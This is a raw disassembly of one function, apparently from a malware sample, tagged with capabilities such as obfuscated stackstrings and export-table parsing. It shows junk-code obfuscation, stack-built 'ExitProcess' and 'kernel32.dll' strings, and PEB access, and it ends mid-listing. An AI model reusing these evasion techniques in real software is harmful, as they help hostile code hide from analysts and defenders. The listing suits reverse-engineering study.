Function at 0x4050f6
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x404e2f
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push ecx
push esi
add esp, 4
add ecx, 0x11a33
xor ecx, 0xf83
xor ecx, 0x44d1
pop ecx
push edi
xor edi, 0x3482
add edi, 0x15a2b
pop edi
push ebx
push eax
add esp, 4
and ebx, 0x302
pop ebx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x404ea9
push ebx
push ebx
add esp, 4
xor ebx, 0xb1b3
xor ebx, 0xc522
jmp 0x404e89
pop ebx
push eax
push eax
add esp, 4
add eax, 0xec4d
jmp 0x404e9d
or eax, 0x17654
pop eax
jmp 0x4050d7
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push esi
and esi, 0x8532
add esi, 0x13e58
add esi, 0xa06a
xor esi, 0x423
pop esi
push eax
push edi
add esp, 4
and eax, 0x12852
or eax, 0x146b
xor eax, 0x26e2
pop eax
mov edx, dword [ebp - 0x15d0]
mov dword [ebp - 0xabc], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d0]
jne 0x404f58
push ecx
push esi
add esp, 4
jmp 0x404f1f
or ecx, 0x1d7d
call 0x404f31
add byte [edi + 0x3f], al
cmp al, 0x4e
xor bh, byte [eax]
add esp, 4
xor ecx, 0xf205
pop ecx
push ebx
push ecx
add esp, 4
add ebx, 0x14e75
pop ebx
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], ecx
jmp 0x405089
cmp dword [ebp - 0xc88], 0
jle 0x40507d
push esi
jmp 0x404f6c
jmp 0x404f71
sub esi, 0x12d77
pop esi
push ebx
xor ebx, 0xb4bd
jmp 0x404f86
pop ebx
push esi
or esi, 0xf307
jmp 0x404f96
pop esi
mov edx, dword [ebp - 0xac0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xabc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x405019
push edi
push edx
add esp, 4
call 0x404fc1
add byte [eax + 0x45], al
dec eax
push eax
cmp byte ss:[ecx], bh
inc esp
dec ebp
add esp, 4
sub edi, 0xbc8d
pop edi
push edi
push edx
add esp, 4
add edi, 0xcccc
pop edi
push eax
or eax, 0xb23b
pop eax
mov eax, dword [ebp - 0xac0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x405001
mov dword [ebp - 0x15a0], 1
jmp 0x40500b
mov dword [ebp - 0x15a0], 0xffffffff
mov ecx, dword [ebp - 0x15a0]
mov dword [ebp - 0xc8c], ecx
jmp 0x40507d
push esi
sub esi, 0x10ef6
sub esi, 0x15f6b
or esi, 0x3e0c
sub esi, 0x4a44
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0xf4f2
xor ebx, 0x16c85
sub ebx, 0xb635
pop ebx
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xac0]
add eax, 1
mov dword [ebp - 0xac0], eax
mov ecx, dword [ebp - 0xabc]
add ecx, 1
mov dword [ebp - 0xabc], ecx
jmp 0x404f58
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x4050d2
push eax
and eax, 0x6f83
pop eax
push ecx
push edi
add esp, 4
jmp 0x4050a4
pop ecx
push edi
push eax
add esp, 4
and edi, 0x95b2
add edi, 0x2719
pop edi
push ecx
sub ecx, 0x10112
jmp 0x4050c3
pop ecx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab8], eax
jmp 0x405113
jmp 0x404e20
push esi
sub esi, 0x14b3d
pop esi
push edi
push edx
add esp, 4
sub edi, 0xeb96
call 0x4050f6
add byte [esi + ecx*2 + 0x3e], cl
inc eax
dec esp
inc ecx
add esp, 4
pop edi
push esi
push eax
add esp, 4
jmp 0x405108
pop esi
mov dword [ebp - 0xab8], 0
push eax
push edi
add esp, 4
and eax, 0x6ccb
pop eax
push edi
push edi
add esp, 4
jmp 0x40512c
pop edi
push edi
push edi
add esp, 4
and edi, 0xf487
xor edi, 0x158e4
sub edi, 0x118f7
pop edi
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push ebx
push edi
add esp, 4
and ebx, 0x333a
sub ebx, 0x122e6
sub ebx, 0x12942
pop ebx
push ecx
add ecx, 0x63e7
sub ecx, 0xe8e2
or ecx, 0xd9fc
sub ecx, 0x60c0
pop ecx
mov ecx, 0x6b
mov word [ebp - 0x1738], cx
mov edx, 0x65
mov word [ebp - 0x1736], dx
mov eax, 0x72
mov word [ebp - 0x1734], ax
mov ecx, 0x6e
mov word [ebp - 0x1732], cx
mov edx, 0x65
mov word [ebp - 0x1730], dx
mov eax, 0x6c
mov word [ebp - 0x172e], ax
mov ecx, 0x33
mov word [ebp - 0x172c], cx
mov edx, 0x32
mov word [ebp - 0x172a], dx
mov eax, 0x2e
mov word [ebp - 0x1728], ax
mov ecx, 0x64
mov word [ebp - 0x1726], cx
mov edx, 0x6c
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
xor ecx, ecx
mov word [ebp - 0x1720], cx
push edi
and edi, 0xd337
xor edi, 0x8cff
add edi, 0x17b78
pop edi
push ebx
push edi
add esp, 4
call 0x40528c
add byte [edx + 0x47], al
xor cl, byte ss:[ebp + 0x40]
cmp dword [edx], edi
inc esi
add esp, 4
and ebx, 0x166f3
pop ebx
push ebx
or ebx, 0x1099a
add ebx, 0x2f8f
pop ebx
push esi
push edx
add esp, 4
add esi, 0x128ad
call 0x4052be
add byte [edx + 0x46], cl
dec esi
dec esi
dec eax
inc edi
inc edx
push eax
add esp, 4
and esi, 0x675
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1954], edx
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1958], ecx
mov edx, dword [ebp - 0x1958]
dec dword [ecx - 0x15d76b]
call dword [ebx + 0x50]
add esp, 4
xor ebx, 0x13d43
xor ebx, 0xdb8d
pop ebx
push eax
or eax, 0x113e8
pop eax
push edx
push edx
invalid